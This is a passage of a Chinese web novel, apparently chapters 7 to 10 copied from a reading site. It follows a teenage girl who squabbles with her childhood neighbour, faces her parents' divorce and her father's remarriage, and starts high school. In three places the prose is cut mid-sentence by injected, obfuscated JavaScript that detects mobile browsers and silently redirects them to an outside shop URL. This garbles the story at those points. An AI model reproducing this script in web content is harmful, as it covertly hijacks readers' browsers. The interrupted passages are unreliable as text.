许呈礼浇好花了,收水管的时候正好看到这幕,觉得这孩子真不错,眼里有活,大大方方的。 许见晴脸上凉了一下,被水珠溅得眨了下眼,皱眉问:“什么水?” “你家的自来水。” “谁知道你的手洗干净没有?”她顶起肩膀用袖子擦脸,嫌弃得很。 “怎么光长脾气,不长个子?” 许见晴翻了个白眼,可惜了,好好一个帅哥,为什么不是哑巴? 她伸出手:“我的手链。” “家里。” 她掉头就走。 梁景阳叫她:“在身上,现在还你。” “喂。” “许见晴。” 许见晴不搭理,鬼知道她现在回头,他会不会说骗你的,我说什么你都信? “不要就算了,”梁景阳说,“那我丢了。” 说着他抬起手,往院子外一抛。 许见晴透过客厅的窗户玻璃,看见他的动作,接着听见外边有东西落在草地上的窸窣声。 “梁景阳!” 许见晴怒了,飞奔出去,看方向是在外头的一小块荒地上,那里堆着一些凌乱的砖头,长满了半米高的杂草。 她顾不上自己的小洁癖,踏进杂草里慌忙找。 梁景阳紧随其后,看她着急的样子,不禁笑了。 许见晴察觉不对劲,回头看向他。 梁景阳的语气温和下来:“你傻不傻?你妈给你的手链我怎么可能丢了。” “你怎么知道是我妈的?”她被煦暖的阳光照着,态度也好了许多。 “当然记得,那次你偷偷拿来戴,在亭亭家弄丢,差点急哭了。” 回忆是最温柔的钥匙,能轻而易举打开心里的锁,走得再远也会瞬间拉近距离。 日光下,许见晴的眼睛微微泛红,好像有点动容,那天,梁景阳、江皓和亭亭,举着手电筒,陪她街头巷尾找了一晚上,结果却在亭亭家的桌角边找到了。 她走出那片杂草,到他面前,伸出手:“现在能把手链还我了吧?” 梁景阳不再逗她了,将手链还给她。 许见晴吸了下鼻子,不吭声,好像和他吵累了,又有点低落的样子。 梁景阳从小就皮,没少气得她眼眶发红,但她很犟,鲜少真的掉眼泪,这会儿看她这样子,他想,自己是不是过了? 他正要安慰一句。 下一秒,一股力猛地冲来,重重一推他,他没防备,趔趄两步,一跤仰摔到杂草丛里。 再看许见晴,哪有半点委屈难过的样子,她笑得直不起腰,开怀得很呐。 “过分了啊。” 许见晴笑够了,看向他,耀武扬威地说:“活该。” 梁景阳坐在草丛里,好像累了,懒得计较了,一只手搭在屈起的膝盖上,另一只手伸向她:“拉我一下。” 许见晴心知有诈,绝不上钩:“你自己不会起来?” “很痛诶,不信你自己摔一下试试?” 许见晴将信将疑:“你怎么这么虚弱?个头白长了?” “质量越大重力越大,没学过物理?” 好像是这么回事,虽然他的狗命不值钱,但也不能轻贱生命,她向他伸出手。 两只手逐渐靠近,相握,许见晴刚感受到他宽大温热的手掌,瞬息间握着自己手的力度变大,一拽,她只感觉身上被撞得一痛,人已经摔到草丛里了,耳边响起某人得逞的笑声。 防人之心不可无,这句话,加强,一万遍。 “梁—景—阳—”她咬牙切齿。 梁景阳一耸肩:“礼尚往来。” “多少大的人了,打打闹闹,还滚草堆里,不像话。”爷爷拄着拐杖,站在院门边的阴影下教训他们。 两人这才站起身,许见晴撇了撇身上的草屑,回到家,看了眼墙上的钟,以为过去很久,结果才半小时,晨光照进来,细小的灰尘在光束里浮动,客厅空荡冷清。 刚才情绪激动,所有感官都调动起来,这会儿一个人坐着,觉得家里又静又空。 许见晴戴上手链,冰凉的手链很快有了她的体温。 有脚步声进屋,许见晴见她爸拾弄完花草回来了,一个耽搁许久的念头再次冒上来,她说:“对了,爸,我想订牛奶。” 许呈礼笑了,刚才景阳取笑她不长个子,估计是又较上劲了,他说:“女孩子163也够了,不过再长高点也好,我先给你订个一年的。” 许见晴竖起两根手指。 许呈礼以为她高兴地比耶,呵呵一笑:“你开心就好,爸爸给你买什么都是应该的。” 许见晴:“我的意思是,一天要两包。” 许呈礼:“......” 接下来,许呈礼把客厅翻遍了,怎么都找不到订牛奶的电话号码。 许见晴迟疑着说:“不然我问问妈?” 上次还是她妈订的,牛奶公司做活动,一口气给她订了三年。 电话拨出去,很快接通,声音嘈杂,她妈身边很多人,正在忙的样子。 许见晴轻声问:“妈,那个订牛奶的名片你记得在哪儿吗?” “电视柜下边第二个抽屉,一个绿色装茶叶的盒子里。”陈苒的语气是压着火的。 许见晴哦了声,明智地选择不多话。 可是,她还想问一句开学她妈会不会回来,毕竟以往开学都是她妈送她回来,在家住个一两天,再陪她去学校报到。 但是现在他们离婚了。 她在心里天人交战,她妈已经压不住火了:“你爸不知道名片在哪?” 完了。 “我不在连个牛奶都不知道怎么订,遥控器掉地上永远不捡——”陈苒的声音突然断了,安静几秒,“算了,再说这个没意思,你要是愿意待在外婆家,我真不放心让你跟你爸。” 许见晴扣着沙发缝,幸好她准备拨电话的时候,她爸就进书房了。 她看了眼书房没关紧的门,走到院子外,压低声音说:“我在家不是挺好的吗,爸爸把我照顾得挺好的,你看,白白胖胖的。” 陈苒这才笑了一下,声音柔和下来:“那行,先这样,我这边还有事。” “嗯嗯,你忙吧。” 她妈要强,说话办事风风火火的,生下她后出了月子就开始工作,一来为了挣钱,二来为了向父母证明自己。 那时她妈不惜和外公外婆断绝关系,硬是和她爸结了婚,没了父母的帮衬,从小过惯好日子的大小姐生活一度十分拮据。 恋爱可以有情饮水饱,但生活不行,柴米油盐和无数鸡毛蒜皮会将感情磨损得千疮百孔。 她爸是个三年不开工,开工吃三年的冷门导演,后来在电视台谋了份旱涝保收的工作,虽然同时也在拍片,但他不太看重名利,眼界又高,没法为了钱去拍不喜欢或不认同的题材。 没钱的时候别谈理想,她妈看不惯丈夫清高的样子,两人没少因此吵架。 读完五年级那年的暑假,她爸妈矛盾爆发,大吵了一架,她妈拖着行李箱,牵着她到了外婆家。 之后妈妈留在那边工作,给她找了学校,但种种不适应,中途转学回来。 起初爸爸还会去找妈妈,企图挽回,妈妈则希望爸爸放下他没钱途的工作和自己一起创业,爸爸不同意,两人之后彻底分居。 但许见晴心底始终存在一丝幻想,或许晚一点,他们总会和好,就像之前无数次争吵后。 毕竟曾经他们是真的相爱过。 没搬来青石巷前,他们住在一套小房子里,房子虽小,但很温馨。 爸妈来了兴致,会摁下录音机,踢掉拖鞋,抱起她夹在两人中间,一起跳舞。 她在好听的音乐里起起伏伏,开心地笑,一抬头就能看见爸妈温柔的笑脸,觉得自己是全世界最幸福的孩子。 这画面一直很深地印在她的脑海里。 还有一点,让她觉得爸妈会复合,是因为她爸这两年阔了。 徐导拍出了部小有名气的片子,之后片约多起来,收入也水涨船高,妈妈的生意也铺展开,他们不必因为钱的问题吵架了。 初二那年,她被文曲星开了金光似的,学习特别有劲头,排名从年级二三十名,到基本稳定在年级前三前五,这次中考发挥好,考了年级第一。 因为考试时她的心情特别平稳,一点都不紧张,毕竟她在乎的不是那一次考试的成绩,而是作为家里的一分子,她也要在自己的领域努力。 但再高的分数都没用,一切只是她以为。 订好牛奶,许呈礼坐在旁边,一副有话要说的样子。 “怎么了?”许见晴问。 许呈礼犹豫再三,拐着弯问:“你还记得林阿姨吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481648|201777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯。”许见晴已经知道她爸要说什么了。 “我带你去看过她的表演。” “嗯。” 那位林阿姨在剧院工作,是个演员,毕竟都是文娱工作者,之前她以为那阿姨是爸爸的朋友。 许呈礼清了下嗓子,端起茶杯喝了口:“她暑期的巡演结束,今天回来了。” 她没说话,静待她爸说下去。 “我是想明天晚上和林阿姨还有她家里人一起吃个饭,”顿了几秒,“然后把结婚证领了。” “结婚?”虽然知道是迟早的事,但她还是吃了一惊。 大概是她反应太大,她爸有点尴尬,目光偏开了一下,又转回来说:“我和林阿姨挺处得来的,想着反正要结婚,不如早点定下来。” “正好我九月份要出差一趟,领完证她会搬进来,你也有人照顾,以后我要是去外地拍摄也放心一点。” “哦。”许见晴没什么表情,点了点头。 许呈礼又说:“我们这年纪,结婚不过是为了有个伴,已经说好了,不会要孩子。” “嗯......” 许见晴问:“林阿姨的孩子呢?跟爸爸吗?” “她没孩子。” “啊?” “这你就别管了,也别去问。” 许见晴点头。 两个月前,中考结束,她爸按约定把自己淘汰下来的旧电脑安装到她房间。 考完试,还没出成绩,适合放肆玩。 许见晴吃完晚饭,迫不及待地打开电脑,万万没想到,迎接她的是一个和她切身相关的,巨大的秘密。 她爸那个马大哈,把电脑里的资料拷贝走了,但没删除QQ密码。 电脑开机,QQ自动登入了。 一个叫林青岚的好友发来信息:[你女儿已经中考完了,我们到底什么时候结婚?难不成要我等到你女儿高考结束?许呈礼,我不年轻了,给个准话吧,大不了分手。] 许见晴一开始以为是什么恶搞信息,可看对方头像的照片有点眼熟,她忍不住点开,越看越觉得不对劲。 她的手指不受控制地往上滑,一条接一条的信息,越看越心惊。 原来她爸拒绝和她妈一起创业后,他们就决定离婚了,怕她受不了,一直没去民政局办手续,还维持着这个家虚假的空壳子。 之后,她爸认识了那位刚离婚的林阿姨,本来只是谈谈恋爱,林阿姨觉得分居两年都可以起诉离婚了,他爸和单身差不多,不是太介意。 可两人志同道合,感情渐深,开始考虑结婚,许见晴快要中考,就一直拖着,直到中考结束,林阿姨表示不能再等了。 许见晴看完这些,心乱作一团,不知道怎么面对她爸。 第二天,她以等成绩紧张为由,说要去妈妈那边住几天。 结果到妈妈那,又发现妈妈和她的竹马似乎在谈恋爱。 她心乱如麻,出成绩的前两天回来了。 她考得好,她爸妈都很高兴,她妈甚至特意回来了一趟,一家人到本地最好的饭店吃午饭。 可饭桌上,她爸一直低头发信息,她妈不停地接电话,他们两个都会给她夹菜,和她说话,可他们之间几乎没有交流。 一条清蒸鱼的鱼头对着她,鱼眼灰白,好似死不瞑目。 这条鱼最后的价值是被吃掉,但没有人愿意认真品尝一口。 她突然觉得很没意思,看了看各自忙碌的父母,放下筷子,说:“你们离婚吧。” “你们假装和睦很辛苦,我假装看不出你们不和睦也很辛苦。” 当天下午,她爸妈正式领了离婚证。 一转眼,她爸又要结婚了。 说起来那位阿姨也没错,她没道理一直等着她爸。 爸妈也没错,他们有离婚、有找新伴侣的自由。 谁都没错。 可是为什么......好像失去了什么。 第二天,许呈礼拉着水管在院子里洗车,这辆捷达开了好几年,洗一洗依旧亮得反光,内饰也很干净,一点异味都没有。 傍晚,许见晴坐上副驾驶就开始魂不守舍,和夏书亭聊了会儿天,又给她妈发了条信息,到地方了还没等到回复。 太阳已经下山,路灯还没亮起,街道蒙着一层灰暗,人声车声嘈杂交织。 她心不在焉,下了车一直在低头按手机,听见她爸和人寒暄,又听见有人问到自己:“见晴呢,没一起来吗?” “在后面,”许呈礼喊她,“见晴,问你话呢。” 她抬眼,一位高挑的女士背对着落日,看不清楚脸,记得那位林阿姨个子很高,身材很好,应该没错。 这时,手机震动了一下,她妈回复了,她一边想点开看妈妈的信息,一边要和眼前的阿姨打招呼,于是嘴瓢了,开口道:“妈,姨...” 然而更悲催的是,她以为自己叫错的是林阿姨,但并不是。 她喊人的时候,那位阿姨身旁的汽车上下来两个人,一个是梁景阳,一个是梁景阳他爸。 几位大人愣了一愣后,哈哈大笑。 梁景阳他妈叶方仪,是个高个美人,伸手亲昵地搂住许见晴的肩膀,玩笑说:“我倒是想有个女儿,可惜没机会了,不过有个办法,做我儿媳妇好了。” 众人又是一阵笑,许见晴尬穿地心,目光都不知道看哪里好,无意间一瞥,和梁景阳对上视线。 她横他一眼,笑屁笑。 梁景阳看她僵硬的样子,把她从他妈手里救下来,捞到自己身边,在她耳边小声说:“让你少看点没用的小说,脑子都打结了。” 许见晴压着声反驳:“我还看四大名著马尔克斯鲁迅张爱玲呢。” 两个人交头接耳,嘀嘀咕咕,小眼神递过来递过去。 叶方仪看看俩孩子,明朗地笑了一声,说:“你们看看,感情好得很呢。” 8. 第 8 章 许呈礼也是开玩笑的语气:“见晴还小,我可舍不得。” “走几步就回娘家了,这要是舍不得,嫁到其他地方去你更舍不得。”梁盛明拍着许呈礼的肩膀说。 他们两个是同学,从小就认识,许见晴一家之所以会搬到青石巷,还是梁盛明介绍的,他得知对门急着卖掉房子出国时,立马联系了许呈礼。 价格合适,又是独门独院,走进巷子一片静谧,出了巷子就是市区,生活、工作都方便,她爸妈凑了凑钱,果断买了。 许见晴趁着他们说话的空当解释:“刚才和我妈聊天,一下就嘴快了。” “说起来挺久没见你妈了。” 许呈礼问:“你们一家出来吃饭吗?怎么两个老的没来。” “招待几个朋友,景阳转学回来,麻烦了人家,”梁盛明笑着问,“你们呢?” “家里人吃个便饭。”虽说和梁盛明是老同学,和他直说也没什么,但这种私事不好在大街上说。 “你们一家子还挺有情调的。” 许呈礼干笑一声。 大家一起走进饭店,进了各自的包厢。 许见晴和她爸坐下,林阿姨和她家人还没来,她正好点开妈妈的信息:[在吃饭,明天开学?] 许见晴回复:[嗯,明天开学。] 老妈:[今年比较忙,就不回去陪你报到了。] 许见晴:[没事,我和亭亭他们一起。] 老妈:[嗯,找我有什么事?] 许见晴:[没事,就是突然想找你聊几句。] 她妈应该是笑了,因为这条信息回得比较慢:[再努力三年,到大学就自由了,想在哪座城市都行。] 许见晴回了个乖巧点头的表情。 这时门外传来说话声,她说:[我也吃饭了,先不聊。] 随便和妈妈聊了几句,心情平静许多,坐好等着门外的人进来。 一阵吵吵嚷嚷的声音靠近,包厢门打开,鱼贯走进六个人,应该是林阿姨和她父母,以及她哥哥一家三口。 “没等很久吧?” 林青岚走到许呈礼身边,她嗓音清亮,穿着件垂感极好的墨蓝色长裙,掐起细腰,步伐轻盈地走过来,身段波浪般晃动。 她一见到许见晴就说:“才几个月没见,是不是胖了?大考后都得胖,就像我每次巡演完总得胖几斤,然后再减。” 接着她又一连串问了几个问题。 这一团火似的热情,许见晴有点招架不住,原来一个人就能给人眼花缭乱、应接不暇的感觉。 偏偏,这位阿姨来的是一家人,而他们家都是差不多的性格,许见晴坐在人群中,脑子嗡嗡的。 就在这家人噼里啪啦的气质里,终于,上菜了。 包厢安静一些,他们和她爸寒暄完,开始夸她,说她学习好,让林阿姨的外甥多多向她学习,聊些家长里短。 第四道菜是鲍鱼炖鸡汤,林青岚拿起许见晴的碗就给她盛汤。 许见晴实在不习惯这样的亲近,拒绝说:“不用,我自己来——” 林青岚只当她客气:“没事的阿姨帮你。” “真的不用。”许见晴一急,嗓音大了些,同时往回一收碗,林青岚一勺汤就倒在了桌面上。 安静一瞬,大家连忙收拾撒了的汤。 之后的气氛便有些微妙,好像大家的热情被她泼了一盆冷水,几人话少了,声音也低了,许呈礼平时是不爱交际的人,也不会暖场,显得干巴巴的。 许见晴沉默地喝着汤,脑子空白了很久。 过了会儿,服务员端着一盘清蒸鲈鱼进来。 随着咔嗒一声陶瓷餐盘放在大理石的桌面上,许见晴放下捧了半天其实已经空了很久的汤碗,将鲈鱼转到林阿姨面前,说:“阿姨,他家的鱼特别鲜,你尝尝?” “是吗?我尝尝。” 之后,餐桌上又恢复热闹,看她爸的样子,又放松下来了。 菜还没上齐,许见晴已经吃饱了,耳朵里是她爸和林阿姨聊天的声音,他们好像有说不完的话题,认识好些年还这么有话聊,或许,他们确实适合一起生活。 她借口上厕所,出去透气。 饭店前有个广场,晚上七点半的光景,街上人来人往,欢声笑语不断。 许见晴独自站了会儿,到租卡通游乐车的大爷那换了两个硬币,选了辆带顶棚的小黄人游乐车坐进去,在广场绕着圈瞎转悠,打发时间。 每次她和亭亭逛街逛到腿断的时候,就开一会儿这个车代步。 一次投两个硬币,能开三分钟,转眼时间到了,游乐车缓缓停下来。 她没地方去,索性坐在车里发呆。 不知过了多久,游乐车轻轻晃了一下,她以为是大爷催她下来。 从车里钻出来,站起身就看见一道长长的人影,堵在她面前。 “我还以为这车是无人驾驶,原来你在车里。” “......” “............” “..................” 小嘴抹了粪似的,怎么不臭死你自己? 许见晴心烦意乱,不想理他。 “今天这么平静?有什么事不开心,说出来让我开心开心。” 许见晴简单粗暴地吼他:“滚开。” “嗓门这么大,和你妈似的。” 许见晴表情一滞,知道他认错了,他很多年没见到她妈了。 心里一阵堵,什么话都不想说,眼里渐渐起了雾气,又慢慢消退。 她竟然没有反应,梁景阳看她一眼,觉得不太对劲。 “见晴,景阳?”江皓的声音突然蹦出来,“好啊,你们偷偷出来玩,不叫我和亭亭。” 江皓、江月和他们爸妈一起逛街,看他们手里提着的袋子,应该是江月快开学了,带她来买衣服。 他们爸妈一路念叨什么,江月微微不耐烦,但还是配合爸妈点头,不时倏尔一笑。 一家四口美好的画面,许见晴看着看着,眼睛里的雾气忽而浓了。 她突然意识到,自己以后再也不会有一家人其乐融融的时刻了。 爸妈离婚后,她一直没去细想,但事到如今,她不得不直面,她爸妈已经分开并永远不会复合的事实。 江皓一家子走过来,正要打招呼,看见许见晴的红红的眼睛,一下子不知道该不该开口,好像一点动静,就会让她的眼泪掉出来。 “不就说你两句,怎么回事?走走走,我请你坐游乐车。”梁景阳揽住许见晴的肩膀,半推半搂地把她往旁边带,一边对江皓一家说,“我们先走了,叔叔阿姨再见。” 走出一段路,许见晴推开他的手,说:“我先上去了。”犹自往楼上走。 梁景阳跟着她往上迈了几级台阶:“喂,你——” 许见晴停住脚步,没回头:“不关你的事。” “这么讲道理?我都不习惯了,”梁景阳没正经地笑,“不然这样,你打我两下算了。” 许见晴本来挺伤感的,赶紧逃,生怕自己在大街上哭出来,被他这么一搅合,瞬间又是好笑又是气。 她站在楼道拐角处,回身低头看向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“带你到亭亭家。” 有点心动。 “别磨蹭了,快点。” 好吧,给你个表现的机会。 她走过去,屁股一抬,还没坐上他的后座,一阵微风起,身后空空,他骑走了? “喂!我还没上车。” 梁景阳停下来,许见晴小跑过去,再次准备上车,然而刚挨到自行车后座,车又走了。 “梁!景!阳!” 他是故意的。 “哈哈哈~”梁景阳开怀大笑,“好了,坐上来吧,这回不走。” 她气咻咻地走过去,心想到了亭亭家,要一脚把他踹下自行车,可等她挨过去,刚说了这回不走的人,一溜烟又又又骑走了。 她的犟劲上来,绝不服输,两个人开始比拼谁的反应更快。 她追、他逃,她坐、他溜,她假装生气,他妥协回来,她猛地去抓车后座,他一拐弯又滑走了。 后面,她真的生气不坐他的车了,他又骑车绕着她转圈,求着她上车,就这么闹到夏书亭家门外。 “你们两个演杂技呢?” 许见晴翻了个白眼,梁景阳说:“一会儿学校见。” “不见!” 他蹬着自行车走了。 巷子两边是青砖灰瓦的房子,顺着小路往前,到豁然明亮的街道,有汽车和行人经过,形成暗亮暗的三列。 梁景阳冲着那片光亮骑去,T恤下摆被风鼓起,他背对着她们,举起手臂挥了挥,说:“不见不散。” 9. 第 9 章 烈日灼灼,热浪炙烤。 校门口拉着一条横幅——热烈欢迎2007级高一新生。 学校里人头攒动,到处都是走动着的学生和家长,闹嚷嚷的。 梁景阳之前来这打过几次篮球,对环境还算熟悉,停车棚满得快要吐了,他绕了两圈才找到一个空隙,将自行车塞进去。 “这也太多人了吧?”江皓更是费了九牛二虎之力才停好电动车,他抹了把汗,不停拉开T恤领口透气。 走进学校大门,梁景阳就听见有人用认真,但又很陌生的语气念出三个字:“许—见—晴—” 他循声看去。 接着是惊叹声:“哇塞,太厉害了吧。” 学校生怕大家看不见,在校门入口最显眼的地方贴了张大大的红榜,醒目得不行,路过的人高低都得瞟一眼,还有不少人驻足观看。 祝贺外国语学校2007年中考再创佳绩,总考生***人,*人进入全市前十,**人进入全市前一百,达第一投档线上线...... 高中部2007年入学奖学金奖励如下: 第一名:许见晴,奖励X万元。 第二三名:某某某,某某某,奖励X万元 ...... “我靠奖励这么多,我们学校真阔啊。” “你不想想自己交了多少学费,当然阔。” “人家凭本事考到的分数,而且还免学费,这个成绩估计之后每年都能拿奖学金。” “啧啧,学霸真爽。” 一个家长说:“会读书就是挣钱啊。” ...... “牛吧,见晴可是我们学校的小名人,”江皓兴奋得像是自己拿奖,摩拳擦掌,在梁景阳耳边小声说,“等会儿年级大会上要颁奖了,中午叫见晴请客,狠狠敲她一顿,嘿嘿。” 梁景阳看着红榜,他个头高,肩宽腿长,但不是干巴瘦那种,而是一看就经常运动,挺拔矫健的身材,身形比例好,四肢修长,简简单单的衣服穿在他身上,随便往那一站,就帅得很出众。 不少路过的同学目光都在他身上停留一下。 大概是看他盯着年级第一的名字看,一个刚走来的男生说了句:“很棒吧?”语气还挺自豪。 以为他说的是学校升学率,为母校自豪。 梁景阳:“嗯。” “人也优秀。” 梁景阳:“嗯?” “诶,江皓,好久不见,正好,你帮我拍张照。” “拍什么啊?”江皓好笑地看着他。 “合影纪念。”男生把手机递给江皓,往红榜走去。 江皓接过手机时,小声对梁景阳说:“他喜欢见晴。” 停顿一下,又加了句:“明着喜欢,全年级爱八卦的基本都知道。” 话没说完,手机已经被人拿走,代劳了。 男生指了指第一名的名字,嘱咐:“这个要同框拍进去。” 梁景阳咔咔摁了两下手机。 “谢谢啊。”男生小跑过来,很礼貌,“麻烦你了。” “不客气。”梁景阳人模狗样地微笑,然后转身往学校里走。 江皓两步跟上,一手搭在梁景阳肩膀上:“你不至于吧?他人还不错的,就是有时候有点烦人。” “他不可能。”梁景阳说。 “你怎么知道?见晴是没回应过他,见晴喜欢——”江皓掐着下巴想了想,“她好像喜欢温柔包容那一挂的。” “她说的?” “我猜的。” “......” 两人走出不到五米,身后传来无语的嚎叫声:“我靠,拍这么丑,名字也没给我拍进去。” 不远处,许见晴和夏书亭走进校门,正好看见那两道背影,夏书亭想打招呼,被许见晴阻止:“别叫,看见他就来气。” 夏书亭笑:“你们两个是日行一吵啊。” “何止是一吵。”许见晴冲梁景阳的背影挥了下拳头。 “hi,见晴,亭亭,”男生笑着过来打招呼,顺着许见晴的目光看了眼,问,“你认识那个男生?好像是新来的。” “认识,怎么了?” “哦也没什么,就是——”男生迟疑地说,“好像不太友善,我也没得罪他呀。” 许见晴纳闷了,梁景阳除了经常嘴欠手欠、爱玩爱闹、耍小聪明、多动症、乱花钱、丢三落四、唱歌难听、不叠被子、喝豆浆不加糖、一熬夜就上火、下雨不爱撑伞、不爱背课文、穿丑陋的拖鞋等一百个臭毛病外,也没什么其他明显缺点,平日里他对素不相识的人很随和,怎么会不友善? 许见晴看男生摆弄手机,没多问,和亭亭往宣传栏走去。 宣传栏里三层外三层围满了人,都在看分班,进去出来一趟估计要挤成油渣,她俩明智地选择等一会儿再来看。 上了个厕所回来,迎面遇见两个初中的女同学,一脸高兴地在聊什么,见到她俩就激动地分享。 “见晴,亭亭,我和你们说,我们学校转来一个超级大帅哥。” 另一个同学说:“真的绝了。” “绝对是男神级别的。” “在哪里?”许见晴和夏书亭也很激动。 “刚才看见在小卖部外面,我带你们去看。” 许见晴和夏书亭屁颠颠跟着俩女同学去一睹帅哥芳容。 一路小跑,穿过层层人影,假装很自然地站在一面墙后面,悄悄探出脑袋。 终于,看到了......一张熟悉的脸。 就他? 许见晴瞬间萎了。 女同学不停地拍着她的肩膀,兴奋地说:“穿白T恤那个,看到没有,帅不帅?” “还行吧。”许见晴很淡定。 另一个女同学急吼吼说:“性格还挺好的,刚才我假装不小心撞到他,他好像看出来了,但他没生气,也没拆穿,说了句小心一点,就走了,搞得我怪不好意思的,这就叫高情商。” 许见晴:“......” 这叫高情商的话,那他在她面前算什么?情商洼地?你们都被他的脸给骗了。 见许见晴没反应,女同学质疑:“这叫还行?你眼光也太高了吧。” “帅有什么用,又不能当饭吃。”许见晴说。 “大言不惭,我就不信你以后找男朋友不挑帅的。” 这时,江皓抱着几瓶水,从旁边的小卖部走出来,站到了梁景阳身边,两人闲聊着,一看就很熟。 女同学瞬间不淡定了:“江皓不是你俩的发小吗?你们和帅哥很熟是不是?” “不熟。”许见晴果断否定。 笑话,要是被他知道自己屁颠屁颠跑来看帅哥,结果看的是他,往后八十年在他面前都抬不起头。 不知道是不是她的意念太重,梁景阳侧目看了过来,许见晴呼吸一紧,连忙收回脑袋。 女同学很执着,追问夏书亭:“亭亭,你说帅不帅,我相信你的审美。” 许见晴只想赶紧溜,免得一会儿撞见,拽住亭亭说:“有什么好看的,不就是个男——” 许见晴被扯了一下,就见两个女同学的眼神变了,人也端端站好,露出礼貌微笑,一个劲儿往她身后看。 不是吧? 她缓缓回头,果然,梁景阳和江皓活生生站在眼前 “找你半天,电话也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481650|201777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不接,”梁景阳看着她,“一天到晚瞎忙什么?” 两位女同学不说话了,用严厉的目光拷问她。 许见晴额角滑下三条黑线,闭嘴好吗?本人现在不是很想见你。 “渴不渴?”梁景阳递了瓶水给她。 许见晴没接,用沉默抵抗,脑子里忙得不行,现在要怎么圆谎? 谁知梁景阳魔高一丈,通情达理温柔体贴到不可思议。 “拧不开吗?”他拧开瓶盖,再旋好,递给她。 两位女同学的目光已经复杂到无法形容。 许见晴只好接过水,眼神示意梁景阳,快点滚,少废话。 梁景阳却和蔼可亲地凑近她一些,认真端详了她一下,问道:“怎么了,眼睛不舒服吗?” “......” 他微微弯下腰,轻声说话的样子温柔极了,许见晴几乎能听见两位女同学无声的尖叫。 但是,她没错过他眼里的坏笑。 非得和她对着干是不是? 女同学压着声音幽幽说:“许见晴,不熟?” 许见晴快被她俩瞪穿了,索性破罐破摔,轻咳一声,学着那狗东西的样子装腔作势道:“是不熟啊,不过他很想认识我的样子,勉为其难喝口他的水。” “我看着怎么不像?” “你信我还是信他?” 梁景阳拧开矿泉水,仰头喝了口,见她们聊的差不多了,提出去看分班。 两位女同学挥挥手走了。 许见晴瞪他一眼:“你是故意的。” “So?” 她一噎,无话可说。 几人往宣传栏走,也不知道是不是心理作用,和梁景阳离得太近,总觉得有人在看他们。 许见晴说:“你在学校就不能收敛一点?” “收敛什么?”他反问,“我们有什么见不得人的?” 许见晴脑子一空,被问住了,他们哪里见不得人? 确实,没有,路人而已。 高峰的点过去,围着宣传栏的人少了许多,许见晴走到前面,眼花缭乱地找自己和夏书亭的名字。 “在一班。” 梁景阳的声音,他仗着个头高,视力好,随意站在后面,反而更快看见。 一班的分班表贴在第一张,许见晴和夏书亭移过去,很快找到他们的名字,以及同一页里,江皓和梁景阳的名字。 “太好了,我们四个分在同一个班。”夏书亭雀跃不已。 许见晴看着另一个名字,学着她的语气:“太好了,季书屹也在一个班。” 夏书亭不动声色地杵了她一下。 许见晴低头憋笑,从她身后看去,好像害羞似的。 梁景阳看向那个陌生的名字,班级排名是按分数排的,许见晴第一,季书屹第二。 旁边有个同学遗憾道:“季书屹这次没考好,他以前都是年级第一第二的,这次才第十,好可惜。” 江皓摁着胸口,笑得一脸幸福:“我的作业有保障了。” 他伸出两只爪子,慎重地握住许见晴的手上下摇了三下:“多多关照。” 又握住梁景阳的手上下摇了三下:“多多关照。” 轮到第三个,夏书亭伸出手。 江皓手一收,上下扫她一眼:“你怎么有勇气?” “江皓!”夏书亭追着江皓满校园打,留下许见晴的梁景阳站在原地,无声对上视线。 这么说,以后一天24小时,除了睡觉,几乎都和他在一起?这简直太—— “怎么?”一道不爽的声音打断她的思路。 梁景阳凉凉扫她一眼:“不乐意和我一个班?” 10. 第 10 章 “不乐意和我一个班?” “知道就好。” “再给你一次机会。” “不需要,”许见晴从上到下,从下到上扫视他,“我的眼光很正常。” “可惜,没得选了,”梁景阳从她身边走过去,轻飘飘留下一句,“我转学回来的时候特意挑了你们班。” “..................” 难怪他刚才那么快就说一班,学号也在最后,一切有迹可循,敢情他就是个不速之客。 夏书亭和江皓一路打闹到教室,她推着他后背,两人开火车似的小跑进班里,二三四组后面的位置都有人了,他们一眼锁定第一组,快速抵达,占领了倒数两张桌子。 许见晴和梁景阳慢悠悠走在后面,不时刺对方一句,谁也不让谁。 教室里大半位置坐着人,许见晴大致扫一眼,许多同学都眼熟,还有不少初中就认识。 她一进门就有人叫她,和她同班很开心的样子。 梁景阳发现她挺受欢迎的。 她刚搬来青石巷的时候,总黏着他,怕生、慢热,不爱交新朋友,后面开朗一些,但仅限于他们几个要好的,四年没见,外向了许多。 “许见晴,这帅哥是谁?介绍一下呀。”胡一可的声音从第四组传来。 “我......” 朋友?发小?竹马?对头?冤家? 一瞬间她脑子里冒出一堆称呼,然后对胡一可说:“邻居,梁景阳。” 邻居? 梁景阳略一扬眉,一条手臂很随意地往她肩膀上一架,阳光灿烂地一笑,就拓展了她的话:“两对门,从小就认识。” 许见晴从沉甸甸的肩膀,顺着他的手臂往上,对上他的目光。 “沾你的光,融入新班级,”梁景阳笑得有点痞,“不行?” 许见晴的目光微微动,竟然有点小开心。 